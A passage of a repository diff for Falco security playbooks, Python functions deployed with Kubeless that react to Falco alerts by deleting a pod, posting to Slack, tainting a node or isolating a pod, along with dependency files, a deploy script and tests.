# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/

View File

@@ -0,0 +1,19 @@
[[source]]
url = "https://pypi.python.org/simple"
verify_ssl = true
name = "pypi"
[dev-packages]
mamba = "*"
expects = "*"
doublex = "*"
doublex-expects = "==0.7.0rc2"
[packages]
kubernetes = "*"
requests = "*"
"e1839a8" = {path = ".", editable = true}
maya = "*"
[requires]
python_version = "3.6"

View File

@@ -0,0 +1,367 @@
{
"_meta": {
"hash": {
"sha256": "00ca5a9cb1f462d534a06bca990e987e75a05b7baf6ba5ddac529f03312135e6"
},
"pipfile-spec": 6,
"requires": {
"python_version": "3.6"
},
"sources": [
{
"name": "pypi",
"url": "https://pypi.python.org/simple",
"verify_ssl": true
}
]
},
"default": {
"cachetools": {
"hashes": [
"sha256:90f1d559512fc073483fe573ef5ceb39bf6ad3d39edc98dc55178a2b2b176fa3",
"sha256:d1c398969c478d336f767ba02040fa22617333293fb0b8968e79b16028dfee35"
],
"version": "==2.1.0"
},
"certifi": {
"hashes": [
"sha256:13e698f54293db9f89122b0581843a782ad0934a4fe0172d2a980ba77fc61bb7",
"sha256:9fa520c1bacfb634fa7af20a76bcbd3d5fb390481724c597da32c719a7dca4b0"
],
"version": "==2018.4.16"
},
"chardet": {
"hashes": [
"sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
"sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
],
"version": "==3.0.4"
},
"dateparser": {
"hashes": [
"sha256:940828183c937bcec530753211b70f673c0a9aab831e43273489b310538dff86",
"sha256:b452ef8b36cd78ae86a50721794bc674aa3994e19b570f7ba92810f4e0a2ae03"
],
"version": "==0.7.0"
},
"e1839a8": {
"editable": true,
"path": "."
},
"google-auth": {
"hashes": [
"sha256:1745c9066f698eac3da99cef082914495fb71bc09597ba7626efbbb64c4acc57",
"sha256:82a34e1a59ad35f01484d283d2a36b7a24c8c404a03a71b3afddd0a4d31e169f"
],
"version": "==1.5.0"
},
"humanize": {
"hashes": [
"sha256:a43f57115831ac7c70de098e6ac46ac13be00d69abbf60bdcac251344785bb19"
],
"version": "==0.5.1"
},
"idna": {
"hashes": [
"sha256:156a6814fb5ac1fc6850fb002e0852d56c0c8d2531923a51032d1b70760e186e",
"sha256:684a38a6f903c1d71d6d5fac066b58d7768af4de2b832e426ec79c30daa94a16"
],
"version": "==2.7"
},
"ipaddress": {
"hashes": [
"sha256:64b28eec5e78e7510698f6d4da08800a5c575caa4a286c93d651c5d3ff7b6794",
"sha256:b146c751ea45cad6188dd6cf2d9b757f6f4f8d6ffb96a023e6f2e26eea02a72c"
],
"version": "==1.0.22"
},
"kubernetes": {
"hashes": [
"sha256:b370ab4abd925309db69a14a4723487948e9a83de60ca92782ec14992b741c89",
"sha256:c80dcf531deca2037105df09c933355c80830ffbf9e496b5e6a3967ac6809ef7"
],
"index": "pypi",
"version": "==6.0.0"
},
"maya": {
"hashes": [
"sha256:6f63bc69aa77309fc220bc02618da8701a21da87c2e7a747ee5ccd56a907c3a5",
"sha256:f526bc8596d993f4bd9755668f66aaf61d635bb4149e084d4a2bc0ebe42aa0b6"
],
"index": "pypi",
"version": "==0.5.0"
},
"oauthlib": {
"hashes": [
"sha256:ac35665a61c1685c56336bda97d5eefa246f1202618a1d6f34fccb1bdd404162",
"sha256:d883b36b21a6ad813953803edfa563b1b579d79ca758fe950d1bc9e8b326025b"
],
"version": "==2.1.0"
},
"pendulum": {
"hashes": [
"sha256:4173ce3e81ad0d9d61dbce86f4286c43a26a398270df6a0a89f501f0c28ad27d",
"sha256:56a347d0457859c84b8cdba161fc37c7df5db9b3becec7881cd770e9d2058b3c",
"sha256:738878168eb26e5446da5d1f7b3312ae993a542061be8882099c00ef4866b1a2",
"sha256:95536b33ae152e3c831eb236c1bf9ac9dcfb3b5b98fdbe8e9e601eab6c373897",
"sha256:c04fcf955e622e97e405e5f6d1b1f4a7adc69d79d82f3609643de69283170d6d",
"sha256:dd6500d27bb7ccc029d497da4f9bd09549bd3c0ea276dad894ea2fdf309e83f3",
"sha256:ddaf97a061eb5e2ae37857a8cb548e074125017855690d20e443ad8d9f31e164",
"sha256:e7df37447824f9af0b58c7915a4caf349926036afd86ad38e7529a6b2f8fc34b",
"sha256:e9732b8bb214fad2c72ddcbfec07542effa8a8b704e174347ede1ff8dc679cce",
"sha256:f4eee1e1735487d9d25cc435c519fd4380cb1f82cde3ebad1efbc2fc30deca5b"
],
"version": "==1.5.1"
},
"pyasn1": {
"hashes": [
"sha256:2f57960dc7a2820ea5a1782b872d974b639aa3b448ac6628d1ecc5d0fe3986f2",
"sha256:3651774ca1c9726307560792877db747ba5e8a844ea1a41feb7670b319800ab3",
"sha256:602fda674355b4701acd7741b2be5ac188056594bf1eecf690816d944e52905e",
"sha256:8fb265066eac1d3bb5015c6988981b009ccefd294008ff7973ed5f64335b0f2d",
"sha256:9334cb427609d2b1e195bb1e251f99636f817d7e3e1dffa150cb3365188fb992",
"sha256:9a15cc13ff6bf5ed29ac936ca941400be050dff19630d6cd1df3fb978ef4c5ad",
"sha256:a66dcda18dbf6e4663bde70eb30af3fc4fe1acb2d14c4867a861681887a5f9a2",
"sha256:ba77f1e8d7d58abc42bfeddd217b545fdab4c1eeb50fd37c2219810ad56303bf",
"sha256:cdc8eb2eaafb56de66786afa6809cd9db2df1b3b595dcb25aa5b9dc61189d40a",
"sha256:d01fbba900c80b42af5c3fe1a999acf61e27bf0e452e0f1ef4619065e57622da",
"sha256:f281bf11fe204f05859225ec2e9da7a7c140b65deccd8a4eb0bc75d0bd6949e0",
"sha256:fb81622d8f3509f0026b0683fe90fea27be7284d3826a5f2edf97f69151ab0fc"
],
"version": "==0.4.3"
},
"pyasn1-modules": {
"hashes": [
"sha256:041e9fbafac548d095f5b6c3b328b80792f006196e15a232b731a83c93d59493",
"sha256:0cdca76a68dcb701fff58c397de0ef9922b472b1cb3ea9695ca19d03f1869787",
"sha256:0cea139045c38f84abaa803bcb4b5e8775ea12a42af10019d942f227acc426c3",
"sha256:0f2e50d20bc670be170966638fa0ae603f0bc9ed6ebe8e97a6d1d4cef30cc889",
"sha256:47fb6757ab78fe966e7c58b2030b546854f78416d653163f0ce9290cf2278e8b",
"sha256:598a6004ec26a8ab40a39ea955068cf2a3949ad9c0030da970f2e1ca4c9f1cc9",
"sha256:72fd8b0c11191da088147c6e4678ec53e573923ecf60b57eeac9e97433e09fc2",
"sha256:854700bbdd01394e2ada9c1bfbd0ed9f5d0c551350dbbd023e88b11d2771ae06",
"sha256:af00ea8f2022b6287dc375b2c70f31ab5af83989fc6fe9eacd4976ce26cd7ccc",
"sha256:b1f395cae2d669e0830cb023aa86f9f283b7a9aa32317d7f80d8e78aa2745812",
"sha256:c6747146e95d2b14cc2a8399b2b0bde3f93778f8f9ec704690d2b589c376c137",
"sha256:f53fe5bcebdf318f51399b250fe8325ef3a26d927f012cc0c8e0f9e9af7f9deb"
],
"version": "==0.2.1"
},
"python-dateutil": {
"hashes": [
"sha256:1adb80e7a782c12e52ef9a8182bebeb73f1d7e24e374397af06fb4956c8dc5c0",
"sha256:e27001de32f627c22380a688bcc43ce83504a7bc5da472209b4c70f02829f0b8"
],
"version": "==2.7.3"
},
"pytz": {
"hashes": [
"sha256:65ae0c8101309c45772196b21b74c46b2e5d11b6275c45d251b150d5da334555",
"sha256:c06425302f2cf668f1bba7a0a03f3c1d34d4ebeef2c72003da308b3947c7f749"
],
"version": "==2018.4"
},
"pytzdata": {
"hashes": [
"sha256:1d936da41ee06216d89fdc7ead1ee9a5da2811a8787515a976b646e110c3f622",
"sha256:e4ef42e82b0b493c5849eed98b5ab49d6767caf982127e9a33167f1153b36cc5"
],
"version": "==2018.5"
},
"pyyaml": {
"hashes": [
"sha256:0c507b7f74b3d2dd4d1322ec8a94794927305ab4cebbe89cc47fe5e81541e6e8",
"sha256:16b20e970597e051997d90dc2cddc713a2876c47e3d92d59ee198700c5427736",
"sha256:3262c96a1ca437e7e4763e2843746588a965426550f3797a79fca9c6199c431f",
"sha256:326420cbb492172dec84b0f65c80942de6cedb5233c413dd824483989c000608",
"sha256:4474f8ea030b5127225b8894d626bb66c01cda098d47a2b0d3429b6700af9fd8",
"sha256:592766c6303207a20efc445587778322d7f73b161bd994f227adaa341ba212ab",
"sha256:5ac82e411044fb129bae5cfbeb3ba626acb2af31a8d17d175004b70862a741a7",
"sha256:5f84523c076ad14ff5e6c037fe1c89a7f73a3e04cf0377cb4d017014976433f3",
"sha256:827dc04b8fa7d07c44de11fabbc888e627fa8293b695e0f99cb544fdfa1bf0d1",
"sha256:b4c423ab23291d3945ac61346feeb9a0dc4184999ede5e7c43e1ffb975130ae6",
"sha256:bc6bced57f826ca7cb5125a10b23fd0f2fff3b7c4701d64c439a300ce665fff8",
"sha256:c01b880ec30b5a6e6aa67b09a2fe3fb30473008c85cd6a67359a1b15ed6d83a4",
"sha256:ca233c64c6e40eaa6c66ef97058cdc80e8d0157a443655baa1b2966e812807ca",
"sha256:e863072cdf4c72eebf179342c94e6989c67185842d9997960b3e69290b2fa269"
],
"version": "==3.12"
},
"regex": {
"hashes": [
"sha256:0201b4cb42f03842a75044a3d08b62a79114f753b33ee421182c631d9f5c81f5",
"sha256:204524604456e3e0e25c3f24da4efc43db78edfe7623f1049e03d3aa51ddda48",
"sha256:24c0e838bde42fe9d4d5650e75bff2d4bb5867968fb9409331dbe39154f6e8e2",
"sha256:4360143da844cd985effb7fb9af04beaa2d371ab13e4a1996424aa2f6fbfb877",
"sha256:4b8c6fd44dbd46cdbf755c20a7b9dedb32b8d15b707a0e470dfa66ba5df00a35",
"sha256:4fb5622987f3863cfa76c40ab3338a7dc8ed2bac236bb53e638b21ea397a3252",
"sha256:5eebefef6e3d97e4c1f9f77eac6555c32ed3afbd769955a9f7339256a4d50d6c",
"sha256:7222204c6acb9e52688678ec7306b2dfd84df68bc8eb251be74fec4e9dd85bf9",
"sha256:809cbbcbe291cf7bc9cf6aeac6a9a400a71318292d0a2a07effaf4b4782203a0",
"sha256:9c9075c727afec23eab196be51737eedb00cd67bb4a2e0170fa8dc65163838f3",
"sha256:a105b1d7287d412e8fe99959c1b80f7cbd76184b6466d63579b6d256a406a76e",
"sha256:c3d9cfd214a3e5a25f2da9817c389e32069e210b067ebb901e10f3270da9b259",
"sha256:c3ebfb5ec2dd750f7861734b25ea7d5ae89d6f33b427cccf3cafa36a1511d862",
"sha256:c670acd71d975b0c91579d40ae7f703d0daa1c871f12e46394a2c7be0ec8e217",
"sha256:e371482ee3e6e5ca19ea83cdfc84bf69cac230e3cb1073c8c3bebf3f143cd7a5"
],
"version": "==2018.6.9"
},
"requests": {
"hashes": [
"sha256:63b52e3c866428a224f97cab011de738c36aec0185aa91cfacd418b5d58911d1",
"sha256:ec22d826a36ed72a7358ff3fe56cbd4ba69dd7a6718ffd450ff0e9df7a47ce6a"
],
"index": "pypi",
"version": "==2.19.1"
},
"requests-oauthlib": {
"hashes": [
"sha256:8886bfec5ad7afb391ed5443b1f697c6f4ae98d0e5620839d8b4499c032ada3f",
"sha256:e21232e2465808c0e892e0e4dbb8c2faafec16ac6dc067dd546e9b466f3deac8",
"sha256:fe3282f48fb134ee0035712159f5429215459407f6d5484013343031ff1a400d"
],
"version": "==1.0.0"
},
"rsa": {
"hashes": [
"sha256:25df4e10c263fb88b5ace923dd84bf9aa7f5019687b5e55382ffcdb8bede9db5",
"sha256:43f682fea81c452c98d09fc316aae12de6d30c4b5c84226642cf8f8fd1c93abd"
],
"version": "==3.4.2"
},
"six": {
"hashes": [
"sha256:70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9",
"sha256:832dc0e10feb1aa2c68dcc57dbb658f1c7e65b9b61af69048abc87a2db00a0eb"
],
"version": "==1.11.0"
},
"snaptime": {
"hashes": [
"sha256:e3f1eb89043d58d30721ab98cb65023f1a4c2740e3b197704298b163c92d508b"
],
"version": "==0.2.4"
},
"tzlocal": {
"hashes": [
"sha256:4ebeb848845ac898da6519b9b31879cf13b6626f7184c496037b818e238f2c4e"
],
"version": "==1.5.1"
},
"urllib3": {
"hashes": [
"sha256:a68ac5e15e76e7e5dd2b8f94007233e01effe3e50e8daddf69acfd81cb686baf",
"sha256:b5725a0bd4ba422ab0e66e89e030c806576753ea3ee08554382c14e685d117b5"
],
"version": "==1.23"
},
"websocket-client": {
"hashes": [
"sha256:18f1170e6a1b5463986739d9fd45c4308b0d025c1b2f9b88788d8f69e8a5eb4a",
"sha256:db70953ae4a064698b27ae56dcad84d0ee68b7b43cb40940f537738f38f510c1"
],
"version": "==0.48.0"
}
},
"develop": {
"args": {
"hashes": [
"sha256:a785b8d837625e9b61c39108532d95b85274acd679693b71ebb5156848fcf814"
],
"version": "==0.1.0"
},
"clint": {
"hashes": [
"sha256:05224c32b1075563d0b16d0015faaf9da43aa214e4a2140e51f08789e7a4c5aa"
],
"version": "==0.5.1"
},
"coverage": {
"hashes": [
"sha256:03481e81d558d30d230bc12999e3edffe392d244349a90f4ef9b88425fac74ba",
"sha256:0b136648de27201056c1869a6c0d4e23f464750fd9a9ba9750b8336a244429ed",
"sha256:104ab3934abaf5be871a583541e8829d6c19ce7bde2923b2751e0d3ca44db60a",
"sha256:15b111b6a0f46ee1a485414a52a7ad1d703bdf984e9ed3c288a4414d3871dcbd",
"sha256:198626739a79b09fa0a2f06e083ffd12eb55449b5f8bfdbeed1df4910b2ca640",
"sha256:1c383d2ef13ade2acc636556fd544dba6e14fa30755f26812f54300e401f98f2",
"sha256:28b2191e7283f4f3568962e373b47ef7f0392993bb6660d079c62bd50fe9d162",
"sha256:2eb564bbf7816a9d68dd3369a510be3327f1c618d2357fa6b1216994c2e3d508",
"sha256:337ded681dd2ef9ca04ef5d93cfc87e52e09db2594c296b4a0a3662cb1b41249",
"sha256:3a2184c6d797a125dca8367878d3b9a178b6fdd05fdc2d35d758c3006a1cd694",
"sha256:3c79a6f7b95751cdebcd9037e4d06f8d5a9b60e4ed0cd231342aa8ad7124882a",
"sha256:3d72c20bd105022d29b14a7d628462ebdc61de2f303322c0212a054352f3b287",
"sha256:3eb42bf89a6be7deb64116dd1cc4b08171734d721e7a7e57ad64cc4ef29ed2f1",
"sha256:4635a184d0bbe537aa185a34193898eee409332a8ccb27eea36f262566585000",
"sha256:56e448f051a201c5ebbaa86a5efd0ca90d327204d8b059ab25ad0f35fbfd79f1",
"sha256:5a13ea7911ff5e1796b6d5e4fbbf6952381a611209b736d48e675c2756f3f74e",
"sha256:69bf008a06b76619d3c3f3b1983f5145c75a305a0fea513aca094cae5c40a8f5",
"sha256:6bc583dc18d5979dc0f6cec26a8603129de0304d5ae1f17e57a12834e7235062",
"sha256:701cd6093d63e6b8ad7009d8a92425428bc4d6e7ab8d75efbb665c806c1d79ba",
"sha256:7608a3dd5d73cb06c531b8925e0ef8d3de31fed2544a7de6c63960a1e73ea4bc",
"sha256:76ecd006d1d8f739430ec50cc872889af1f9c1b6b8f48e29941814b09b0fd3cc",
"sha256:7aa36d2b844a3e4a4b356708d79fd2c260281a7390d678a10b91ca595ddc9e99",
"sha256:7d3f553904b0c5c016d1dad058a7554c7ac4c91a789fca496e7d8347ad040653",
"sha256:7e1fe19bd6dce69d9fd159d8e4a80a8f52101380d5d3a4d374b6d3eae0e5de9c",
"sha256:8c3cb8c35ec4d9506979b4cf90ee9918bc2e49f84189d9bf5c36c0c1119c6558",
"sha256:9d6dd10d49e01571bf6e147d3b505141ffc093a06756c60b053a859cb2128b1f",
"sha256:9e112fcbe0148a6fa4f0a02e8d58e94470fc6cb82a5481618fea901699bf34c4",
"sha256:ac4fef68da01116a5c117eba4dd46f2e06847a497de5ed1d64bb99a5fda1ef91",
"sha256:b8815995e050764c8610dbc82641807d196927c3dbed207f0a079833ffcf588d",
"sha256:be6cfcd8053d13f5f5eeb284aa8a814220c3da1b0078fa859011c7fffd86dab9",
"sha256:c1bb572fab8208c400adaf06a8133ac0712179a334c09224fb11393e920abcdd",
"sha256:de4418dadaa1c01d497e539210cb6baa015965526ff5afc078c57ca69160108d",
"sha256:e05cb4d9aad6233d67e0541caa7e511fa4047ed7750ec2510d466e806e0255d6",
"sha256:e4d96c07229f58cb686120f168276e434660e4358cc9cf3b0464210b04913e77",
"sha256:f3f501f345f24383c0000395b26b726e46758b71393267aeae0bd36f8b3ade80",
"sha256:f8a923a85cb099422ad5a2e345fe877bbc89a8a8b23235824a93488150e45f6e"
],
"version": "==4.5.1"
},
"doublex": {
"hashes": [
"sha256:062af49d9e4148bc47b7512d3fdc8e145dea4671d074ffd54b2464a19d3757ab"
],
"index": "pypi",
"version": "==1.8.4"
},
"doublex-expects": {
"hashes": [
"sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
],
"index": "pypi",
"version": "==0.7.0rc2"
},
"expects": {
"hashes": [
"sha256:37538d7b0fa9c0d53e37d07b0e8c07d89754d3deec1f0f8ed1be27f4f10363dd"
],
"index": "pypi",
"version": "==0.8.0"
},
"mamba": {
"hashes": [
"sha256:63e70a8666039cf143a255000e23f29be4ea4b5b8169f2b053f94eb73a2ea9e2"
],
"index": "pypi",
"version": "==0.9.3"
},
"pyhamcrest": {
"hashes": [
"sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
"sha256:7a4bdade0ed98c699d728191a058a60a44d2f9c213c51e2dd1e6fb42f2c6128a",
"sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd",
"sha256:bac0bea7358666ce52e3c6c85139632ed89f115e9af52d44b3c36e0bf8cf16a9",
"sha256:f30e9a310bcc1808de817a92e95169ffd16b60cbc5a016a49c8d0e8ababfae79"
],
"version": "==1.9.0"
},
"six": {
"hashes": [
"sha256:70e8a77beed4562e7f14fe23a786b54f6296e34344c23bc42f07b15018ff98e9",
"sha256:832dc0e10feb1aa2c68dcc57dbb658f1c7e65b9b61af69048abc87a2db00a0eb"
],
"version": "==1.11.0"
}
}
}

View File

@@ -0,0 +1,164 @@
# Playbooks
Following [owasp ideas](https://owaspsummit.org/Working-Sessions/Security-Playbooks/index.html),
playbooks are workflows and prescriptive instructions on how to handle specific
Security activities or incidents.
Being more specific, playbooks are actions that are going to be executed when
Falco finds a weird behavior in our Kubernetes cluster. We have implemented
them with Python and we have found that several Serverless concepts fits well
with playbooks, so we use [Kubeless](https://kubeless.io/) for its deployment.
## Requirements
* A working Kubernetes cluster
* [kubeless cli executable](https://kubeless.io/docs/quick-start/)
* Python 3.6
* pipenv
## Deploying a playbook
Deploying a playbook involves a couple of components, the function that is going
to be with Kubeless and a trigger for that function.
We have automated those steps in a generic script *deploy_playbook* who packages
the reaction and its dependencies, uploads to Kubernetes and creates the kubeless
trigger.
```
./deploy_playbook -p slack -e SLACK_WEBHOOK_URL="https://..." -t "falco.error.*" -t "falco.info.*"
```
### Parameters
* -p: The playbook to deploy, it must match with the top-level script. In this
example *slack.py* that contains the wiring between playbooks and Kubeless
functions
* -e: Sets configuration settings for Playbook. In this case the URL where we
have to post messages. You can specify multiple *-e* flags.
* -t: Topic to susbcribe. You can specify multiple *-t* flags and a trigger
will be created for each topic, so when we receive a message in that topic,
our function will be ran. In this case, playbook will be run when a
falco.error or falco.info alert is raised.
### Kubeless 101
Under the hood, there are several useful commands for checking function state with kubeless.
We can retrieve all functions deployed in our cluster:
```
kubeless function list
```
And we can see several interesting stats about a function usage:
```
kubeless function top
```
And we can see bindings between functions and NATS topics:
```
kubeless trigger nats list
```
### Undeploying a function
You have to delete every component using kubeless cli tool.
Generally, it takes 2 steps: Remove the triggers and remove the function.
Remove the triggers:
```
kubeless trigger nats delete trigger-name
```
If you have deployed with the script, trigger-name look like:
*falco-<playbook>-trigger-<index>* where index is the index of the topic created.
Anyway, you can list all triggers and select the name.
Remove the function:
```
kubeless function delete function-name
```
If you have deployed with the script, the function name will start with *falco-<playbook>*,
but you can list all functions and select its name.
## Testing
One of the goals of the project was that playbooks were tested.
You can execute the tests with:
```
pipenv --three install -d
export KUBERNETES_LOAD_KUBE_CONFIG=1
pipenv run mamba --format=documentation
```
The first line install development tools, which includes test runner and assertions.
The second one tells Kubernetes Client to use the same configuration than kubectl and
the third one runs the test.
The tests under *specs/infrastructure* runs against a real Kubernetes cluster,
but the *spec/reactions* can be run without any kind of infrastructure.
## Available Playbooks
### Delete a Pod
This playbook kills a pod using Kubernetes API
```
./deploy_playbook -p delete -t "falco.notice.terminal_shell_in_container"
```
In this example, everytime we receive a *Terminal shell in container* alert from
Falco, that pod will be deleted.
### Send message to Slack
This playbook posts a message to Slack
```
./deploy_playbook -p slack -t "falco.error.*" -e SLACK_WEBHOOK_URL="https://..."
```
#### Parameters
* SLACK_WEBHOOK_URL: This is the webhook used for posting messages in Slack
In this example, when Falco raises an error we will be notified in Slack
### Taint a Node
This playbook taints the node which where pod is running.
```
$ ./deploy_playbook -p taint -t “falco.notice.contact_k8s_api_server_from_container”
```
#### Parameters:
* TAINT_KEY: This is the taint key. Default value: falco/alert
* TAINT_VALUE: This is the taint value. Default value: true
* TAINT_EFFECT: This is the taint effect. Default value: NoSchedule
In this example, we avoid scheduling in the node which originates the Contact
K8S API server from container. But we can use a more aggresive approach and
use -e TAINT_EFFECT=NoExecute
### Network isolate a Pod
This reaction denies all ingress/egress traffic from a Pod. It's intended to
be used with Calico or other similar projects for managing networking in
Kubernetes.
```
./deploy_playbook -p isolate -t “falco.notice.write_below_binary_dir” -t “falco.error.write_below_etc”
```
So as soon as we notice someone wrote under /bin (and additional binaries) or
/etc, we disconnect that pod. It's like a trap for our attackers.

View File

@@ -0,0 +1,16 @@
import sys
import os.path
sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
import os
import playbooks
from playbooks import infrastructure
playbook = playbooks.DeletePod(
infrastructure.KubernetesClient()
)
def handler(event, context):
playbook.run(event['data'])

View File

@@ -0,0 +1,68 @@
#!/bin/bash
#
# Deploys a playbook
set -e
function usage() {
cat<<EOF
Usage: $0 [options]
-p playbook Playbook to be deployed. Is the script for Kubeless: slack, taint, isolate.
-e environment Environment variables for the Kubeless function. You can pass multiple environment variables passing several -e parameters.
-t topic NATS topic to subscribe function. You can bind to multiple topics passing several -t parameters.
You must pass the playbook and at least one topic to subscribe.
Example:
deploy_playbook -r slack -t "falco.error.*" -e SLACK_WEBHOOK_URL=http://foobar.com/...
EOF
exit 1
}
function join { local IFS="$1"; shift; echo "$*"; }
playbook=""
environment=()
topics=()
while getopts "r:e:t:" arg; do
case $arg in
r)
playbook="${OPTARG}"
;;
e)
environment+=("${OPTARG}")
;;
t)
topics+=("${OPTARG}")
;;
*)
usage
;;
esac
done
if [[ "${playbook}" == "" || ${#topics[@]} -eq 0 ]]; then
usage
fi
pipenv lock --requirements | sed '/^-/ d' > requirements.txt
zip "${playbook}".zip -r playbooks/*.py "${playbook}".py
kubeless function deploy --from-file "${playbook}".zip \
--dependencies requirements.txt \
--env "$(join , ${environment[*]})" \
--runtime python3.6 \
--handler "${playbook}".handler \
falco-"${playbook}"
rm requirements.txt ${playbook}.zip
for index in ${!topics[*]}; do
kubeless trigger nats create falco-"${playbook}"-trigger-"${index}" \
--function-selector created-by=kubeless,function=falco-${playbook} \
--trigger-topic "${topics[$index]}"
done

View File

@@ -0,0 +1,16 @@
import sys
import os.path
sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
import os
import playbooks
from playbooks import infrastructure
playbook = playbooks.NetworkIsolatePod(
infrastructure.KubernetesClient()
)
def handler(event, context):
playbook.run(event['data'])

View File

@@ -0,0 +1,101 @@
import maya
class DeletePod:
def __init__(self, k8s_client):
self._k8s_client = k8s_client
def run(self, alert):
pod_name = alert['output_fields']['k8s.pod.name']
self._k8s_client.delete_pod(pod_name)
class AddMessageToSlack:
def __init__(self, slack_client):
self._slack_client = slack_client
def run(self, alert):
message = self._build_slack_message(alert)
self._slack_client.post_message(message)
return message
def _build_slack_message(self, alert):
return {
'text': self._output(alert),
'attachments': [{
'color': self._color_from(alert['priority']),
'fields': [
{
'title': 'Rule',
'value': alert['rule'],
'short': False
},
{
'title': 'Priority',
'value': alert['priority'],
'short': True
},
{
'title': 'Time',
'value': str(maya.parse(alert['time'])),
'short': True
},
{
'title': 'Kubernetes Pod Name',
'value': alert['output_fields']['k8s.pod.name'],
'short': True
},
{
'title': 'Container Id',
'value': alert['output_fields']['container.id'],
'short': True
}
]
}]
}
def _output(self, alert):
output = alert['output'].split(': ')[1]
priority_plus_whitespace_length = len(alert['priority']) + 1
return output[priority_plus_whitespace_length:]
_COLORS = {
'Emergency': '#b12737',
'Alert': '#f24141',
'Critical': '#fc7335',
'Error': '#f28143',
'Warning': '#f9c414',
'Notice': '#397ec3',
'Informational': '#8fc0e7',
'Debug': '#8fc0e7',
}
def _color_from(self, priority):
return self._COLORS.get(priority, '#eeeeee')
class TaintNode:
def __init__(self, k8s_client, key, value, effect):
self._k8s_client = k8s_client
self._key = key
self._value = value
self._effect = effect
def run(self, alert):
pod = alert['output_fields']['k8s.pod.name']
node = self._k8s_client.find_node_running_pod(pod)
self._k8s_client.taint_node(node, self._key, self._value, self._effect)
class NetworkIsolatePod:
def __init__(self, k8s_client):
self._k8s_client = k8s_client
def run(self, alert):
pod = alert['output_fields']['k8s.pod.name']
self._k8s_client.add_label_to_pod(pod, 'isolated', 'true')

View File

@@ -0,0 +1,74 @@
import os
import json
from kubernetes import client, config
import requests
class KubernetesClient:
def __init__(self):
if 'KUBERNETES_LOAD_KUBE_CONFIG' in os.environ:
config.load_kube_config()
else:
config.load_incluster_config()
self._v1 = client.CoreV1Api()
def delete_pod(self, name):
namespace = self._find_pod_namespace(name)
body = client.V1DeleteOptions()
self._v1.delete_namespaced_pod(name=name,
namespace=namespace,
body=body)
def exists_pod(self, name):
response = self._v1.list_pod_for_all_namespaces(watch=False)
for item in response.items:
if item.metadata.name == name:
if item.metadata.deletion_timestamp is None:
return True
return False
def _find_pod_namespace(self, name):
response = self._v1.list_pod_for_all_namespaces(watch=False)
for item in response.items:
if item.metadata.name == name:
return item.metadata.namespace
def find_node_running_pod(self, name):
response = self._v1.list_pod_for_all_namespaces(watch=False)
for item in response.items:
if item.metadata.name == name:
return item.spec.node_name
def taint_node(self, name, key, value, effect):
body = client.V1Node(
spec=client.V1NodeSpec(
taints=[
client.V1Taint(key=key, value=value, effect=effect)
]
)
)
return self._v1.patch_node(name, body)
def add_label_to_pod(self, name, label, value):
namespace = self._find_pod_namespace(name)
body = client.V1Pod(
metadata=client.V1ObjectMeta(
labels={label: value}
)
)
return self._v1.patch_namespaced_pod(name, namespace, body)
class SlackClient:
def __init__(self, slack_webhook_url):
self._slack_webhook_url = slack_webhook_url
def post_message(self, message):
requests.post(self._slack_webhook_url,
data=json.dumps(message))

View File

@@ -0,0 +1,11 @@
from setuptools import setup
setup(name='playbooks',
version='0.1',
description='A set of playbooks for Falco alerts',
url='http://github.com/draios/falco-playbooks',
author='Néstor Salceda',
author_email='nestor.salceda@sysdig.com',
license='',
packages=['playbooks'],
zip_safe=False)

View File

@@ -0,0 +1,16 @@
import sys
import os.path
sys.path.append(os.path.join(os.path.abspath(os.path.dirname(__file__))))
import os
import playbooks
from playbooks import infrastructure
playbook = playbooks.AddMessageToSlack(
infrastructure.SlackClient(os.environ['SLACK_WEBHOOK_URL'])
)
def handler(event, context):
playbook.run(event['data'])

View File

@@ -0,0 +1,65 @@
from mamba import description, context, it, before
from expects import expect, be_false, be_true, start_with, equal, have_key
import subprocess
import os.path
from playbooks import infrastructure
with description(infrastructure.KubernetesClient) as self:
with before.each:
self.kubernetes_client = infrastructure.KubernetesClient()
with context('when checking if a pod exists'):
with before.each:
self._create_nginx_pod()
with context('and pod exists'):
with it('returns true'):
expect(self.kubernetes_client.exists_pod('nginx')).to(be_true)
with context('and pod does not exist'):
with it('returns false'):
self.kubernetes_client.delete_pod('nginx')
expect(self.kubernetes_client.exists_pod('nginx')).to(be_false)
with it('finds node running pod'):
self._create_nginx_pod()
node = self.kubernetes_client.find_node_running_pod('nginx')
expect(node).to(start_with('gke-sysdig-work-default-pool'))
with it('taints node'):
self._create_nginx_pod()
node_name = self.kubernetes_client.find_node_running_pod('nginx')
node = self.kubernetes_client.taint_node(node_name,
'playbooks',
'true',
'NoSchedule')
expect(node.spec.taints[0].effect).to(equal('NoSchedule'))
expect(node.spec.taints[0].key).to(equal('playbooks'))
expect(node.spec.taints[0].value).to(equal('true'))
with it('adds labels to a pod'):
self._create_nginx_pod()
pod = self.kubernetes_client.add_label_to_pod('nginx',
'testing',
'true')
expect(pod.metadata.labels).to(have_key('testing', 'true'))
def _create_nginx_pod(self):
current_directory = os.path.dirname(os.path.realpath(__file__))
pod_manifesto = os.path.join(current_directory,
'..',
'support',
'deployment.yaml')
subprocess.run(['kubectl', 'create', '-f', pod_manifesto])

View File

@@ -0,0 +1,16 @@
from mamba import description, it
import os
from playbooks import infrastructure
with description(infrastructure.SlackClient) as self:
with it('posts a message to #kubeless-demo channel'):
slack_client = infrastructure.SlackClient(os.environ['SLACK_WEBHOOK_URL'])
message = {
'text': 'Hello from Python! :metal:'
}
slack_client.post_message(message)

View File

@@ -0,0 +1,62 @@
from mamba import description, it, before, context
from expects import expect, have_key, have_keys, contain
from doublex import Spy
from doublex_expects import have_been_called_with
from playbooks import infrastructure
import playbooks
with description(playbooks.AddMessageToSlack) as self:
with before.each:
self.slack_client = Spy(infrastructure.SlackClient)
